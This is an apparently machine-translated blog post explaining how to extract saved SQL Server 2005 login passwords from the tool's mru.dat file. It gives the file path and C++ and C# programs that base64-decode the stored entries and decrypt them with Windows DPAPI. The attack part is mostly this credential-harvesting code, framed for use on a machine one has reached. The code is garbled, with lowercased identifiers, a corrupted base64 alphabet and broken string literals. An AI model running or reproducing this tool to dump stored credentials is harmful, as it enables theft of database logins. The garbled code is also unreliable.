Get the native MSSQL save voucher

This article goes from Prince Blog: http://www.cnblogs.com/killbit/p/4355950.html

First of all, thank you guys for my advice, thank you.

How do we get the credentials stored in the MSSQL tool when we encounter a similar situation?

If you add a ip\sqlexpress connection after the connection address, you also remember to add, or even if the password is correct, will say login failed.

By discussing the research analysis with the Buddies and finding the information, we know where the password is stored:

C:\Users\Administrator\AppData\Roaming\Microsoft\Microsoft SQL Server\90\tools\shellsem\mru.dat (the current MSSQL Connection tool is 2005 )

We'll look at MRU.DAT through C32 and we'll find a bunch of BASE64 codes:

This is our saved credentials, but not directly restore BASE64, you need to decode after the DPAPI to decrypt:

The code is as follows:

Encode.cpp: Defines the entry point of the console application. #include "stdafx.h" #include <Windows.h> #include <stdio.h> #include <iostream> #include < cstdlib> #include <stdio.h> #pragma comment (lib, "Crypt32.lib") using namespace Std;int base64decoder (char * Input, unsigned char *output) {char base64string[]= "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789+    /";    BYTE Databuffer[4];    BYTE Outputbuffer[3];    BYTE finalbuffer[1000];    int count=0;    int padcount=0;    int length;    Length = strlen (input); Validate the data for BASE64 if (length% 4) {printf ("%s-invalid base64 data is supplied%s (%d)", INP        UT, length);    return 0;    }//count the No of padding if (input[length-1] = = ') padcount++;    if (input[length-2] = = ' = ') padcount++; Process 4 chars in per loop to produce 3 chars for (int i=0; i < length; i + = 4) {//Populate data bu Ffer with position of Base64 characters for//Next 4 bytes from encoded data for (int j=0; j < 4 && (i + j < length); j + +) Databuffer[j] =        (int) STRCHR (base64string, Input[i+j])-(int) base64string); Decode data buffer back into bytes outputbuffer[0] = (Databuffer[0] << 2) + ((Databuffer[1] & 0x30)        ;> 4);                OUTPUTBUFFER[1] = ((databuffer[1] & 0x0f) << 4) + ((databuffer[2] & 0x3c) >> 2);        OUTPUTBUFFER[2] = ((databuffer[2] & 0x03) << 6) + databuffer[3]; Add all non-padded bytes in output buffer to decoded data for (int k = 0; k < 3; k++) finalbuffer[    COUNT++]=OUTPUTBUFFER[K];    } count = Count-padcount;    Copy the decoded data into input buffer memcpy (output, Finalbuffer, count);    output[count]= ' + ';    printf ("Base64 decoded string is [%s] (%d)", output, count);    Std::cout << "11111" << Std::endl;    Std::cout << finalbuffer << Std::endl; Return Count;}    int main (int argc,char** argv) {unsigned char output[1000] = {0};    Base64decoder ("znvja3lvdq==", output); int I=base64decoder ("aqaaancmnd8bfderjhoawe/cl+ Sbaaaafkvvctckz0sdfrfzgeyufqaaaaaqaaaarablagyayqb1agwadaaaabbmaaaaaqaaiaaaaidhfhsscl9qom1cbxlsvxqlxsduubs5scx2hzy +tnkuaaaaaa6aaaaaagaaiaaaaadeqoqtyaeqgjymsdfuojdlhmgk4vttu6sozbla/ tzfeaaaaacxb3reqzjuhopytlkfwnhaaaaasc5un4laz9a2izadysbrg87jhqjbwaqly18fkf0fbyrlxieqmxjm+1flbcep32awy4qkpy+    1aelhj6ijnbcq/a== ", output);        if (i = = 0) {printf ("Encode error\r\n");    return-1;    } Data_blob Datapassword;    Data_blob DataOutput;    Datapassword.cbdata = i;    Datapassword.pbdata = output; if (CryptUnprotectData (&datapassword,0,0,0,0,cryptprotect_ui_forbidden,&dataoutput))//Crypt Mssql         Password {wcout << "Mssql credence password Length:" << dataoutput.cbdata << "\ r \ n";     Wcout << "Mssql credence Password:" << (wchar_t*) dataoutput.pbdata; }else    {wcout << "Error"; 
return-1; } return 0;}

And a copy of C #, which my buddy wrote:

Using system;using system.collections.generic;//using system.linq;using system.text;namespace Mssql{    class Program    {        static void Main (string[] args)        {            Console.WriteLine (Encoding.Unicode.GetString ( System.Security.Cryptography.ProtectedData.Unprotect (convert.frombase64string ("aqaaancmnd8bfderjhoawe/cl+ Sbaaaafkvvctckz0sdfrfzgeyufqaaaaaqaaaarablagyayqb1agwadaaaabbmaaaaaqaaiaaaaidhfhsscl9qom1cbxlsvxqlxsduubs5scx2hzy +tnkuaaaaaa6aaaaaagaaiaaaaadeqoqtyaeqgjymsdfuojdlhmgk4vttu6sozbla/ tzfeaaaaacxb3reqzjuhopytlkfwnhaaaaasc5un4laz9a2izadysbrg87jhqjbwaqly18fkf0fbyrlxieqmxjm+1flbcep32awy4qkpy+ 1aelhj6ijnbcq/a== "), NULL, System.Security.Cryptography.DataProtectionScope.LocalMachine)));}}}    

After Restore:

Vc

C#

Get the native MSSQL save voucher